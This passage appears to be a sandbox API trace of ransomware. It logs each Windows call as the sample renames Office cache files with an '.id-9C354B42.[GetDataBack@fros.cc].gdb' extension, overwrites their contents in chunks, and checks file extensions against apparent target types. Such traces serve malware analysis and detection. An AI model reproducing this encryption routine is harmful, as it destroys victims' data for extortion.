users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.346] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0123.357] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0123.357] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0123.357] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0123.357] ReadFile (in: hFile=0x214, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0123.363] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0123.364] ReadFile (in: hFile=0x214, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0123.373] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0123.373] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0123.373] ReadFile (in: hFile=0x214, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0123.679] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0123.679] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0104, lpOverlapped=0x0) returned 1 [0123.696] SetEndOfFile (hFile=0x214) returned 1 [0123.750] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0123.750] WriteFile (in: hFile=0x214, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0123.751] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0123.751] WriteFile (in: hFile=0x214, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0123.756] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0123.756] WriteFile (in: hFile=0x214, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0123.758] CloseHandle (hObject=0x214) returned 1 [0124.703] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0124.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.712] lstrlenW (lpString=".doc") returned 4 [0124.712] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString=".docx") returned 5 [0124.712] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0124.712] lstrlenW (lpString=".pdf") returned 4 [0124.712] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString=".xls") returned 4 [0124.712] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString=".xlsx") returned 5 [0124.712] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0124.712] lstrlenW (lpString=".ppt") returned 4 [0124.712] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.712] lstrlenW (lpString=".zip") returned 4 [0124.712] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString=".rar") returned 4 [0124.712] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0124.712] lstrlenW (lpString=".bz2") returned 4 [0124.712] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0124.712] lstrlenW (lpString=".7z") returned 3 [0124.712] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0124.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.712] lstrlenW (lpString=".dbf") returned 4 [0124.712] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".1cd") returned 4 [0124.713] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".jpg") returned 4 [0124.713] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".doc") returned 4 [0124.713] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString=".docx") returned 5 [0124.713] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0124.713] lstrlenW (lpString=".pdf") returned 4 [0124.713] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString=".xls") returned 4 [0124.713] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString=".xlsx") returned 5 [0124.713] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0124.713] lstrlenW (lpString=".ppt") returned 4 [0124.713] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".zip") returned 4 [0124.713] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString=".rar") returned 4 [0124.713] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString=".bz2") returned 4 [0124.713] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0124.713] lstrlenW (lpString=".7z") returned 3 [0124.713] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".dbf") returned 4 [0124.713] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0124.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.713] lstrlenW (lpString=".1cd") returned 4 [0124.713] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0124.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0124.714] lstrlenW (lpString=".jpg") returned 4 [0124.714] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0124.714] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0124.714] lstrlenW (lpString="VisioMUI.msi") returned 12 [0124.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.714] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2797568) returned 1 [0124.714] CloseHandle (hObject=0x1a8) returned 1 [0124.714] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0124.714] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.714] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0124.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.715] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0124.715] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0124.715] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0124.721] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0124.721] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0124.732] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0124.733] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0124.733] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0124.750] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0124.750] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0104, lpOverlapped=0x0) returned 1 [0125.192] SetEndOfFile (hFile=0x1a8) returned 1 [0125.219] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.219] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.221] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.221] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.227] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.227] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.229] CloseHandle (hObject=0x1a8) returned 1 [0125.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.230] lstrlenW (lpString=".doc") returned 4 [0125.230] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.230] lstrlenW (lpString=".docx") returned 5 [0125.230] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.230] lstrlenW (lpString=".pdf") returned 4 [0125.230] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.230] lstrlenW (lpString=".xls") returned 4 [0125.230] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.230] lstrlenW (lpString=".xlsx") returned 5 [0125.230] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.230] lstrlenW (lpString=".ppt") returned 4 [0125.230] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.230] lstrlenW (lpString=".zip") returned 4 [0125.230] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.230] lstrlenW (lpString=".rar") returned 4 [0125.230] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.230] lstrlenW (lpString=".bz2") returned 4 [0125.230] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.230] lstrlenW (lpString=".7z") returned 3 [0125.230] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".dbf") returned 4 [0125.231] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".1cd") returned 4 [0125.231] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".jpg") returned 4 [0125.231] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".doc") returned 4 [0125.231] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString=".docx") returned 5 [0125.231] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.231] lstrlenW (lpString=".pdf") returned 4 [0125.231] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.231] lstrlenW (lpString=".xls") returned 4 [0125.231] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.231] lstrlenW (lpString=".xlsx") returned 5 [0125.231] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.231] lstrlenW (lpString=".ppt") returned 4 [0125.231] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".zip") returned 4 [0125.231] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.231] lstrlenW (lpString=".rar") returned 4 [0125.231] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.231] lstrlenW (lpString=".bz2") returned 4 [0125.231] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString=".7z") returned 3 [0125.231] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.231] lstrlenW (lpString=".dbf") returned 4 [0125.231] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.232] lstrlenW (lpString=".1cd") returned 4 [0125.232] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0125.232] lstrlenW (lpString=".jpg") returned 4 [0125.232] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.232] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0125.232] lstrlenW (lpString="OnoteLR.cab") returned 11 [0125.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.232] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=17456632) returned 1 [0125.232] CloseHandle (hObject=0x1a8) returned 1 [0125.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0125.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.232] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.233] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0125.233] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.233] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.261] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.261] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.270] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0125.270] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.270] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.294] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0125.294] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0102, lpOverlapped=0x0) returned 1 [0125.316] SetEndOfFile (hFile=0x1a8) returned 1 [0125.321] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.321] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.322] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.322] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.323] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.323] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.332] CloseHandle (hObject=0x1a8) returned 1 [0125.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.333] lstrlenW (lpString="C:\\MSOCache\\All 